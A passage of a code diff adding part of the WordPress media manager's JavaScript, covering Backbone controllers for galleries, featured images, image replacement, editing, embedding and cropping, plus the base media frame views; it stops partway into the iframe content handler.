+		renderSettings: function( attachmentsBrowserView ) {
+			var library = this.get('library'),
+				collectionType = this.get('collectionType'),
+				dragInfoText = this.get('dragInfoText'),
+				SettingsView = this.get('SettingsView'),
+				obj = {};
+
+			if ( ! library || ! attachmentsBrowserView ) {
+				return;
+			}
+
+			library[ collectionType ] = library[ collectionType ] || new Backbone.Model();
+
+			obj[ collectionType ] = new SettingsView({
+				controller: this,
+				model:      library[ collectionType ],
+				priority:   40
+			});
+
+			attachmentsBrowserView.sidebar.set( obj );
+
+			if ( dragInfoText ) {
+				attachmentsBrowserView.toolbar.set( 'dragInfo', new media.View({
+					el: $( '<div class="instructions">' + dragInfoText + '</div>' )[0],
+					priority: -40
+				}) );
+			}
+
+			// Add the 'Reverse order' button to the toolbar.
+			attachmentsBrowserView.toolbar.set( 'reverse', {
+				text:     l10n.reverseOrder,
+				priority: 80,
+
+				click: function() {
+					library.reset( library.toArray().reverse() );
+				}
+			});
+		}
+	});
+
+	/**
+	 * wp.media.controller.CollectionAdd
+	 *
+	 * A state for adding attachments to a collection (e.g. video playlist).
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                     [attributes]                         The attributes hash passed to the state.
+	 * @param {string}                     [attributes.id=library]      Unique identifier.
+	 * @param {string}                     attributes.title                    Title for the state. Displays in the frame's title region.
+	 * @param {boolean}                    [attributes.multiple=add]            Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean.
+	 * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+	 *                                                                          If one is not supplied, a collection of attachments of the specified type will be created.
+	 * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+	 *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+	 * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
+	 * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+	 *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+	 * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+	 * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
+	 * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+	 * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+	 * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+	 * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
+	 * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
+	 *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
+	 * @param {string}                     attributes.type                   The collection's media type. (e.g. 'video').
+	 * @param {string}                     attributes.collectionType         The collection type. (e.g. 'playlist').
+	 */
+	media.controller.CollectionAdd = media.controller.Library.extend({
+		defaults: _.defaults( {
+			// Selection defaults. @see media.model.Selection
+			multiple:      'add',
+			// Attachments browser defaults. @see media.view.AttachmentsBrowser
+			filterable:    'uploaded',
+
+			priority:      100,
+			syncSelection: false
+		}, media.controller.Library.prototype.defaults ),
+
+		/**
+		 * @since 3.9.0
+		 */
+		initialize: function() {
+			var collectionType = this.get('collectionType');
+
+			if ( 'video' === this.get( 'type' ) ) {
+				collectionType = 'video-' + collectionType;
+			}
+
+			this.set( 'id', collectionType + '-library' );
+			this.set( 'toolbar', collectionType + '-add' );
+			this.set( 'menu', collectionType );
+
+			// If we haven't been provided a `library`, create a `Selection`.
+			if ( ! this.get('library') ) {
+				this.set( 'library', media.query({ type: this.get('type') }) );
+			}
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		activate: function() {
+			var library = this.get('library'),
+				editLibrary = this.get('editLibrary'),
+				edit = this.frame.state( this.get('collectionType') + '-edit' ).get('library');
+
+			if ( editLibrary && editLibrary !== edit ) {
+				library.unobserve( editLibrary );
+			}
+
+			// Accepts attachments that exist in the original library and
+			// that do not exist in gallery's library.
+			library.validator = function( attachment ) {
+				return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && media.model.Selection.prototype.validator.apply( this, arguments );
+			};
+
+			// Reset the library to ensure that all attachments are re-added
+			// to the collection. Do so silently, as calling `observe` will
+			// trigger the `reset` event.
+			library.reset( library.mirroring.models, { silent: true });
+			library.observe( edit );
+			this.set('editLibrary', edit);
+
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.controller.FeaturedImage
+	 *
+	 * A state for selecting a featured image for a post.
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                     [attributes]                          The attributes hash passed to the state.
+	 * @param {string}                     [attributes.id=featured-image]        Unique identifier.
+	 * @param {string}                     [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame's title region.
+	 * @param {wp.media.model.Attachments} [attributes.library]                  The attachments collection to browse.
+	 *                                                                           If one is not supplied, a collection of all images will be created.
+	 * @param {boolean}                    [attributes.multiple=false]           Whether multi-select is enabled.
+	 * @param {string}                     [attributes.content=upload]           Initial mode for the content region.
+	 *                                                                           Overridden by persistent user setting if 'contentUserSetting' is true.
+	 * @param {string}                     [attributes.menu=default]             Initial mode for the menu region.
+	 * @param {string}                     [attributes.router=browse]            Initial mode for the router region.
+	 * @param {string}                     [attributes.toolbar=featured-image]   Initial mode for the toolbar region.
+	 * @param {int}                        [attributes.priority=60]              The priority for the state link in the media menu.
+	 * @param {boolean}                    [attributes.searchable=true]          Whether the library is searchable.
+	 * @param {boolean|string}             [attributes.filterable=false]         Whether the library is filterable, and if so what filters should be shown.
+	 *                                                                           Accepts 'all', 'uploaded', or 'unattached'.
+	 * @param {boolean}                    [attributes.sortable=true]            Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {boolean}                    [attributes.autoSelect=true]          Whether an uploaded attachment should be automatically added to the selection.
+	 * @param {boolean}                    [attributes.describe=false]           Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+	 * @param {boolean}                    [attributes.contentUserSetting=true]  Whether the content region's mode should be set and persisted per user.
+	 * @param {boolean}                    [attributes.syncSelection=true]       Whether the Attachments selection should be persisted from the last state.
+	 */
+	media.controller.FeaturedImage = media.controller.Library.extend({
+		defaults: _.defaults({
+			id:            'featured-image',
+			title:         l10n.setFeaturedImageTitle,
+			multiple:      false,
+			filterable:    'uploaded',
+			toolbar:       'featured-image',
+			priority:      60,
+			syncSelection: true
+		}, media.controller.Library.prototype.defaults ),
+
+		/**
+		 * @since 3.5.0
+		 */
+		initialize: function() {
+			var library, comparator;
+
+			// If we haven't been provided a `library`, create a `Selection`.
+			if ( ! this.get('library') ) {
+				this.set( 'library', media.query({ type: 'image' }) );
+			}
+
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+
+			library    = this.get('library');
+			comparator = library.comparator;
+
+			// Overload the library's comparator to push items that are not in
+			// the mirrored query to the front of the aggregate collection.
+			library.comparator = function( a, b ) {
+				var aInQuery = !! this.mirroring.get( a.cid ),
+					bInQuery = !! this.mirroring.get( b.cid );
+
+				if ( ! aInQuery && bInQuery ) {
+					return -1;
+				} else if ( aInQuery && ! bInQuery ) {
+					return 1;
+				} else {
+					return comparator.apply( this, arguments );
+				}
+			};
+
+			// Add all items in the selection to the library, so any featured
+			// images that are not initially loaded still appear.
+			library.observe( this.get('selection') );
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		activate: function() {
+			this.updateSelection();
+			this.frame.on( 'open', this.updateSelection, this );
+
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		deactivate: function() {
+			this.frame.off( 'open', this.updateSelection, this );
+
+			media.controller.Library.prototype.deactivate.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		updateSelection: function() {
+			var selection = this.get('selection'),
+				id = media.view.settings.post.featuredImageId,
+				attachment;
+
+			if ( '' !== id && -1 !== id ) {
+				attachment = media.model.Attachment.get( id );
+				attachment.fetch();
+			}
+
+			selection.reset( attachment ? [ attachment ] : [] );
+		}
+	});
+
+	/**
+	 * wp.media.controller.ReplaceImage
+	 *
+	 * A state for replacing an image.
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                     [attributes]                         The attributes hash passed to the state.
+	 * @param {string}                     [attributes.id=replace-image]        Unique identifier.
+	 * @param {string}                     [attributes.title=Replace Image]     Title for the state. Displays in the media menu and the frame's title region.
+	 * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+	 *                                                                          If one is not supplied, a collection of all images will be created.
+	 * @param {boolean}                    [attributes.multiple=false]          Whether multi-select is enabled.
+	 * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+	 *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+	 * @param {string}                     [attributes.menu=default]            Initial mode for the menu region.
+	 * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+	 * @param {string}                     [attributes.toolbar=replace]         Initial mode for the toolbar region.
+	 * @param {int}                        [attributes.priority=60]             The priority for the state link in the media menu.
+	 * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+	 * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+	 *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+	 * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+	 * @param {boolean}                    [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+	 * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+	 * @param {boolean}                    [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
+	 */
+	media.controller.ReplaceImage = media.controller.Library.extend({
+		defaults: _.defaults({
+			id:            'replace-image',
+			title:         l10n.replaceImageTitle,
+			multiple:      false,
+			filterable:    'uploaded',
+			toolbar:       'replace',
+			menu:          false,
+			priority:      60,
+			syncSelection: true
+		}, media.controller.Library.prototype.defaults ),
+
+		/**
+		 * @since 3.9.0
+		 *
+		 * @param options
+		 */
+		initialize: function( options ) {
+			var library, comparator;
+
+			this.image = options.image;
+			// If we haven't been provided a `library`, create a `Selection`.
+			if ( ! this.get('library') ) {
+				this.set( 'library', media.query({ type: 'image' }) );
+			}
+
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+
+			library    = this.get('library');
+			comparator = library.comparator;
+
+			// Overload the library's comparator to push items that are not in
+			// the mirrored query to the front of the aggregate collection.
+			library.comparator = function( a, b ) {
+				var aInQuery = !! this.mirroring.get( a.cid ),
+					bInQuery = !! this.mirroring.get( b.cid );
+
+				if ( ! aInQuery && bInQuery ) {
+					return -1;
+				} else if ( aInQuery && ! bInQuery ) {
+					return 1;
+				} else {
+					return comparator.apply( this, arguments );
+				}
+			};
+
+			// Add all items in the selection to the library, so any featured
+			// images that are not initially loaded still appear.
+			library.observe( this.get('selection') );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		activate: function() {
+			this.updateSelection();
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		updateSelection: function() {
+			var selection = this.get('selection'),
+				attachment = this.image.attachment;
+
+			selection.reset( attachment ? [ attachment ] : [] );
+		}
+	});
+
+	/**
+	 * wp.media.controller.EditImage
+	 *
+	 * A state for editing (cropping, etc.) an image.
+	 *
+	 * @class
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                    attributes                      The attributes hash passed to the state.
+	 * @param {wp.media.model.Attachment} attributes.model                The attachment.
+	 * @param {string}                    [attributes.id=edit-image]      Unique identifier.
+	 * @param {string}                    [attributes.title=Edit Image]   Title for the state. Displays in the media menu and the frame's title region.
+	 * @param {string}                    [attributes.content=edit-image] Initial mode for the content region.
+	 * @param {string}                    [attributes.toolbar=edit-image] Initial mode for the toolbar region.
+	 * @param {string}                    [attributes.menu=false]         Initial mode for the menu region.
+	 * @param {string}                    [attributes.url]                Unused. @todo Consider removal.
+	 */
+	media.controller.EditImage = media.controller.State.extend({
+		defaults: {
+			id:      'edit-image',
+			title:   l10n.editImage,
+			menu:    false,
+			toolbar: 'edit-image',
+			content: 'edit-image',
+			url:     ''
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		activate: function() {
+			this.listenTo( this.frame, 'toolbar:render:edit-image', this.toolbar );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		deactivate: function() {
+			this.stopListening( this.frame );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		toolbar: function() {
+			var frame = this.frame,
+				lastState = frame.lastState(),
+				previous = lastState && lastState.id;
+
+			frame.toolbar.set( new media.view.Toolbar({
+				controller: frame,
+				items: {
+					back: {
+						style: 'primary',
+						text:     l10n.back,
+						priority: 20,
+						click:    function() {
+							if ( previous ) {
+								frame.setState( previous );
+							} else {
+								frame.close();
+							}
+						}
+					}
+				}
+			}) );
+		}
+	});
+
+	/**
+	 * wp.media.controller.MediaLibrary
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 */
+	media.controller.MediaLibrary = media.controller.Library.extend({
+		defaults: _.defaults({
+			// Attachments browser defaults. @see media.view.AttachmentsBrowser
+			filterable:      'uploaded',
+
+			displaySettings: false,
+			priority:        80,
+			syncSelection:   false
+		}, media.controller.Library.prototype.defaults ),
+
+		/**
+		 * @since 3.9.0
+		 *
+		 * @param options
+		 */
+		initialize: function( options ) {
+			this.media = options.media;
+			this.type = options.type;
+			this.set( 'library', media.query({ type: this.type }) );
+
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		activate: function() {
+			// @todo this should use this.frame.
+			if ( media.frame.lastMime ) {
+				this.set( 'library', media.query({ type: media.frame.lastMime }) );
+				delete media.frame.lastMime;
+			}
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.controller.Embed
+	 *
+	 * A state for embedding media from a URL.
+	 *
+	 * @class
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object} attributes                         The attributes hash passed to the state.
+	 * @param {string} [attributes.id=embed]              Unique identifier.
+	 * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame's title region.
+	 * @param {string} [attributes.content=embed]         Initial mode for the content region.
+	 * @param {string} [attributes.menu=default]          Initial mode for the menu region.
+	 * @param {string} [attributes.toolbar=main-embed]    Initial mode for the toolbar region.
+	 * @param {string} [attributes.menu=false]            Initial mode for the menu region.
+	 * @param {int}    [attributes.priority=120]          The priority for the state link in the media menu.
+	 * @param {string} [attributes.type=link]             The type of embed. Currently only link is supported.
+	 * @param {string} [attributes.url]                   The embed URL.
+	 * @param {object} [attributes.metadata={}]           Properties of the embed, which will override attributes.url if set.
+	 */
+	media.controller.Embed = media.controller.State.extend({
+		defaults: {
+			id:       'embed',
+			title:    l10n.insertFromUrlTitle,
+			content:  'embed',
+			menu:     'default',
+			toolbar:  'main-embed',
+			priority: 120,
+			type:     'link',
+			url:      '',
+			metadata: {}
+		},
+
+		// The amount of time used when debouncing the scan.
+		sensitivity: 200,
+
+		initialize: function(options) {
+			this.metadata = options.metadata;
+			this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity );
+			this.props = new Backbone.Model( this.metadata || { url: '' });
+			this.props.on( 'change:url', this.debouncedScan, this );
+			this.props.on( 'change:url', this.refresh, this );
+			this.on( 'scan', this.scanImage, this );
+		},
+
+		/**
+		 * Trigger a scan of the embedded URL's content for metadata required to embed.
+		 *
+		 * @fires wp.media.controller.Embed#scan
+		 */
+		scan: function() {
+			var scanners,
+				embed = this,
+				attributes = {
+					type: 'link',
+					scanners: []
+				};
+
+			// Scan is triggered with the list of `attributes` to set on the
+			// state, useful for the 'type' attribute and 'scanners' attribute,
+			// an array of promise objects for asynchronous scan operations.
+			if ( this.props.get('url') ) {
+				this.trigger( 'scan', attributes );
+			}
+
+			if ( attributes.scanners.length ) {
+				scanners = attributes.scanners = $.when.apply( $, attributes.scanners );
+				scanners.always( function() {
+					if ( embed.get('scanners') === scanners ) {
+						embed.set( 'loading', false );
+					}
+				});
+			} else {
+				attributes.scanners = null;
+			}
+
+			attributes.loading = !! attributes.scanners;
+			this.set( attributes );
+		},
+		/**
+		 * Try scanning the embed as an image to discover its dimensions.
+		 *
+		 * @param {Object} attributes
+		 */
+		scanImage: function( attributes ) {
+			var frame = this.frame,
+				state = this,
+				url = this.props.get('url'),
+				image = new Image(),
+				deferred = $.Deferred();
+
+			attributes.scanners.push( deferred.promise() );
+
+			// Try to load the image and find its width/height.
+			image.onload = function() {
+				deferred.resolve();
+
+				if ( state !== frame.state() || url !== state.props.get('url') ) {
+					return;
+				}
+
+				state.set({
+					type: 'image'
+				});
+
+				state.props.set({
+					width:  image.width,
+					height: image.height
+				});
+			};
+
+			image.onerror = deferred.reject;
+			image.src = url;
+		},
+
+		refresh: function() {
+			this.frame.toolbar.get().refresh();
+		},
+
+		reset: function() {
+			this.props.clear().set({ url: '' });
+
+			if ( this.active ) {
+				this.refresh();
+			}
+		}
+	});
+
+	/**
+	 * wp.media.controller.Cropper
+	 *
+	 * A state for cropping an image.
+	 *
+	 * @class
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 */
+	media.controller.Cropper = media.controller.State.extend({
+		defaults: {
+			id:          'cropper',
+			title:       l10n.cropImage,
+			// Region mode defaults.
+			toolbar:     'crop',
+			content:     'crop',
+			router:      false,
+
+			canSkipCrop: false
+		},
+
+		activate: function() {
+			this.frame.on( 'content:create:crop', this.createCropContent, this );
+			this.frame.on( 'close', this.removeCropper, this );
+			this.set('selection', new Backbone.Collection(this.frame._selection.single));
+		},
+
+		deactivate: function() {
+			this.frame.toolbar.mode('browse');
+		},
+
+		createCropContent: function() {
+			this.cropperView = new wp.media.view.Cropper({controller: this,
+					attachment: this.get('selection').first() });
+			this.cropperView.on('image-loaded', this.createCropToolbar, this);
+			this.frame.content.set(this.cropperView);
+
+		},
+		removeCropper: function() {
+			this.imgSelect.cancelSelection();
+			this.imgSelect.setOptions({remove: true});
+			this.imgSelect.update();
+			this.cropperView.remove();
+		},
+		createCropToolbar: function() {
+			var canSkipCrop, toolbarOptions;
+
+			canSkipCrop = this.get('canSkipCrop') || false;
+
+			toolbarOptions = {
+				controller: this.frame,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     l10n.cropImage,
+						priority: 80,
+						requires: { library: false, selection: false },
+
+						click: function() {
+							var self = this,
+								selection = this.controller.state().get('selection').first();
+
+							selection.set({cropDetails: this.controller.state().imgSelect.getSelection()});
+
+							this.$el.text(l10n.cropping);
+							this.$el.attr('disabled', true);
+							this.controller.state().doCrop( selection ).done( function( croppedImage ) {
+								self.controller.trigger('cropped', croppedImage );
+								self.controller.close();
+							}).fail( function() {
+								self.controller.trigger('content:error:crop');
+							});
+						}
+					}
+				}
+			};
+
+			if ( canSkipCrop ) {
+				_.extend( toolbarOptions.items, {
+					skip: {
+						style:      'secondary',
+						text:       l10n.skipCropping,
+						priority:   70,
+						requires:   { library: false, selection: false },
+						click:      function() {
+							var selection = this.controller.state().get('selection').first();
+							this.controller.state().cropperView.remove();
+							this.controller.trigger('skippedcrop', selection);
+							this.controller.close();
+						}
+					}
+				});
+			}
+
+			this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) );
+		},
+
+		doCrop: function( attachment ) {
+			return wp.ajax.post( 'custom-header-crop', {
+				nonce: attachment.get('nonces').edit,
+				id: attachment.get('id'),
+				cropDetails: attachment.get('cropDetails')
+			} );
+		}
+	});
+
+	/**
+	 * wp.media.View
+	 *
+	 * The base view class for media.
+	 *
+	 * Undelegating events, removing events from the model, and
+	 * removing events from the controller mirror the code for
+	 * `Backbone.View.dispose` in Backbone 0.9.8 development.
+	 *
+	 * This behavior has since been removed, and should not be used
+	 * outside of the media manager.
+	 *
+	 * @class
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.View = wp.Backbone.View.extend({
+		constructor: function( options ) {
+			if ( options && options.controller ) {
+				this.controller = options.controller;
+			}
+			wp.Backbone.View.apply( this, arguments );
+		},
+		/**
+		 * @todo The internal comment mentions this might have been a stop-gap
+		 *       before Backbone 0.9.8 came out. Figure out if Backbone core takes
+		 *       care of this in Backbone.View now.
+		 *
+		 * @returns {wp.media.View} Returns itself to allow chaining
+		 */
+		dispose: function() {
+			// Undelegating events, removing events from the model, and
+			// removing events from the controller mirror the code for
+			// `Backbone.View.dispose` in Backbone 0.9.8 development.
+			this.undelegateEvents();
+
+			if ( this.model && this.model.off ) {
+				this.model.off( null, null, this );
+			}
+
+			if ( this.collection && this.collection.off ) {
+				this.collection.off( null, null, this );
+			}
+
+			// Unbind controller events.
+			if ( this.controller && this.controller.off ) {
+				this.controller.off( null, null, this );
+			}
+
+			return this;
+		},
+		/**
+		 * @returns {wp.media.View} Returns itself to allow chaining
+		 */
+		remove: function() {
+			this.dispose();
+			/**
+			 * call 'remove' directly on the parent class
+			 */
+			return wp.Backbone.View.prototype.remove.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.view.Frame
+	 *
+	 * A frame is a composite view consisting of one or more regions and one or more
+	 * states.
+	 *
+	 * @see wp.media.controller.State
+	 * @see wp.media.controller.Region
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.Frame = media.View.extend({
+		initialize: function() {
+			_.defaults( this.options, {
+				mode: [ 'select' ]
+			});
+			this._createRegions();
+			this._createStates();
+			this._createModes();
+		},
+
+		_createRegions: function() {
+			// Clone the regions array.
+			this.regions = this.regions ? this.regions.slice() : [];
+
+			// Initialize regions.
+			_.each( this.regions, function( region ) {
+				this[ region ] = new media.controller.Region({
+					view:     this,
+					id:       region,
+					selector: '.media-frame-' + region
+				});
+			}, this );
+		},
+		/**
+		 * Create the frame's states.
+		 *
+		 * @see wp.media.controller.State
+		 * @see wp.media.controller.StateMachine
+		 *
+		 * @fires wp.media.controller.State#ready
+		 */
+		_createStates: function() {
+			// Create the default `states` collection.
+			this.states = new Backbone.Collection( null, {
+				model: media.controller.State
+			});
+
+			// Ensure states have a reference to the frame.
+			this.states.on( 'add', function( model ) {
+				model.frame = this;
+				model.trigger('ready');
+			}, this );
+
+			if ( this.options.states ) {
+				this.states.add( this.options.states );
+			}
+		},
+
+		/**
+		 * A frame can be in a mode or multiple modes at one time.
+		 *
+		 * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode.
+		 */
+		_createModes: function() {
+			// Store active "modes" that the frame is in. Unrelated to region modes.
+			this.activeModes = new Backbone.Collection();
+			this.activeModes.on( 'add remove reset', _.bind( this.triggerModeEvents, this ) );
+
+			_.each( this.options.mode, function( mode ) {
+				this.activateMode( mode );
+			}, this );
+		},
+		/**
+		 * Reset all states on the frame to their defaults.
+		 *
+		 * @returns {wp.media.view.Frame} Returns itself to allow chaining
+		 */
+		reset: function() {
+			this.states.invoke( 'trigger', 'reset' );
+			return this;
+		},
+		/**
+		 * Map activeMode collection events to the frame.
+		 */
+		triggerModeEvents: function( model, collection, options ) {
+			var collectionEvent,
+				modeEventMap = {
+					add: 'activate',
+					remove: 'deactivate'
+				},
+				eventToTrigger;
+			// Probably a better way to do this.
+			_.each( options, function( value, key ) {
+				if ( value ) {
+					collectionEvent = key;
+				}
+			} );
+
+			if ( ! _.has( modeEventMap, collectionEvent ) ) {
+				return;
+			}
+
+			eventToTrigger = model.get('id') + ':' + modeEventMap[collectionEvent];
+			this.trigger( eventToTrigger );
+		},
+		/**
+		 * Activate a mode on the frame.
+		 *
+		 * @param string mode Mode ID.
+		 * @returns {this} Returns itself to allow chaining.
+		 */
+		activateMode: function( mode ) {
+			// Bail if the mode is already active.
+			if ( this.isModeActive( mode ) ) {
+				return;
+			}
+			this.activeModes.add( [ { id: mode } ] );
+			// Add a CSS class to the frame so elements can be styled for the mode.
+			this.$el.addClass( 'mode-' + mode );
+
+			return this;
+		},
+		/**
+		 * Deactivate a mode on the frame.
+		 *
+		 * @param string mode Mode ID.
+		 * @returns {this} Returns itself to allow chaining.
+		 */
+		deactivateMode: function( mode ) {
+			// Bail if the mode isn't active.
+			if ( ! this.isModeActive( mode ) ) {
+				return this;
+			}
+			this.activeModes.remove( this.activeModes.where( { id: mode } ) );
+			this.$el.removeClass( 'mode-' + mode );
+			/**
+			 * Frame mode deactivation event.
+			 *
+			 * @event this#{mode}:deactivate
+			 */
+			this.trigger( mode + ':deactivate' );
+
+			return this;
+		},
+		/**
+		 * Check if a mode is enabled on the frame.
+		 *
+		 * @param  string mode Mode ID.
+		 * @return bool
+		 */
+		isModeActive: function( mode ) {
+			return Boolean( this.activeModes.where( { id: mode } ).length );
+		}
+	});
+
+	// Make the `Frame` a `StateMachine`.
+	_.extend( media.view.Frame.prototype, media.controller.StateMachine.prototype );
+
+	/**
+	 * wp.media.view.MediaFrame
+	 *
+	 * The frame used to create the media modal.
+	 *
+	 * @class
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame = media.view.Frame.extend({
+		className: 'media-frame',
+		template:  media.template('media-frame'),
+		regions:   ['menu','title','content','toolbar','router'],
+
+		events: {
+			'click div.media-frame-title h1': 'toggleMenu'
+		},
+
+		/**
+		 * @global wp.Uploader
+		 */
+		initialize: function() {
+			media.view.Frame.prototype.initialize.apply( this, arguments );
+
+			_.defaults( this.options, {
+				title:    '',
+				modal:    true,
+				uploader: true
+			});
+
+			// Ensure core UI is enabled.
+			this.$el.addClass('wp-core-ui');
+
+			// Initialize modal container view.
+			if ( this.options.modal ) {
+				this.modal = new media.view.Modal({
+					controller: this,
+					title:      this.options.title
+				});
+
+				this.modal.content( this );
+			}
+
+			// Force the uploader off if the upload limit has been exceeded or
+			// if the browser isn't supported.
+			if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
+				this.options.uploader = false;
+			}
+
+			// Initialize window-wide uploader.
+			if ( this.options.uploader ) {
+				this.uploader = new media.view.UploaderWindow({
+					controller: this,
+					uploader: {
+						dropzone:  this.modal ? this.modal.$el : this.$el,
+						container: this.$el
+					}
+				});
+				this.views.set( '.media-frame-uploader', this.uploader );
+			}
+
+			this.on( 'attach', _.bind( this.views.ready, this.views ), this );
+
+			// Bind default title creation.
+			this.on( 'title:create:default', this.createTitle, this );
+			this.title.mode('default');
+
+			this.on( 'title:render', function( view ) {
+				view.$el.append( '<span class="dashicons dashicons-arrow-down"></span>' );
+			});
+
+			// Bind default menu.
+			this.on( 'menu:create:default', this.createMenu, this );
+		},
+		/**
+		 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+		 */
+		render: function() {
+			// Activate the default state if no active state exists.
+			if ( ! this.state() && this.options.state ) {
+				this.setState( this.options.state );
+			}
+			/**
+			 * call 'render' directly on the parent class
+			 */
+			return media.view.Frame.prototype.render.apply( this, arguments );
+		},
+		/**
+		 * @param {Object} title
+		 * @this wp.media.controller.Region
+		 */
+		createTitle: function( title ) {
+			title.view = new media.View({
+				controller: this,
+				tagName: 'h1'
+			});
+		},
+		/**
+		 * @param {Object} menu
+		 * @this wp.media.controller.Region
+		 */
+		createMenu: function( menu ) {
+			menu.view = new media.view.Menu({
+				controller: this
+			});
+		},
+
+		toggleMenu: function() {
+			this.$el.find( '.media-menu' ).toggleClass( 'visible' );
+		},
+
+		/**
+		 * @param {Object} toolbar
+		 * @this wp.media.controller.Region
+		 */
+		createToolbar: function( toolbar ) {
+			toolbar.view = new media.view.Toolbar({
+				controller: this
+			});
+		},
+		/**
+		 * @param {Object} router
+		 * @this wp.media.controller.Region
+		 */
+		createRouter: function( router ) {
+			router.view = new media.view.Router({
+				controller: this
+			});
+		},
+		/**
+		 * @param {Object} options
+		 */
+		createIframeStates: function( options ) {
+			var settings = media.view.settings,
+				tabs = settings.tabs,
+				tabUrl = settings.tabUrl,
+				$postId;
+
+			if ( ! tabs || ! tabUrl ) {
+				return;
+			}
+
+			// Add the post ID to the tab URL if it exists.
+			$postId = $('#post_ID');
+			if ( $postId.length ) {
+				tabUrl += '&post_id=' + $postId.val();
+			}
+
+			// Generate the tab states.
+			_.each( tabs, function( title, id ) {
+				this.state( 'iframe:' + id ).set( _.defaults({
+					tab:     id,
+					src:     tabUrl + '&tab=' + id,
+					title:   title,
+					content: 'iframe',
+					menu:    'default'
+				}, options ) );
+			}, this );
+
+			this.on( 'content:create:iframe', this.iframeContent, this );
+			this.on( 'content:deactivate:iframe', this.iframeContentCleanup, this );
+			this.on( 'menu:render:default', this.iframeMenu, this );
+			this.on( 'open', this.hijackThickbox, this );
+			this.on( 'close', this.restoreThickbox, this );
+		},
+
+		/**
+		 * @param {Object} content
+		 * @this wp.media.controller.Region
+		 */
+		iframeContent: function( content ) {
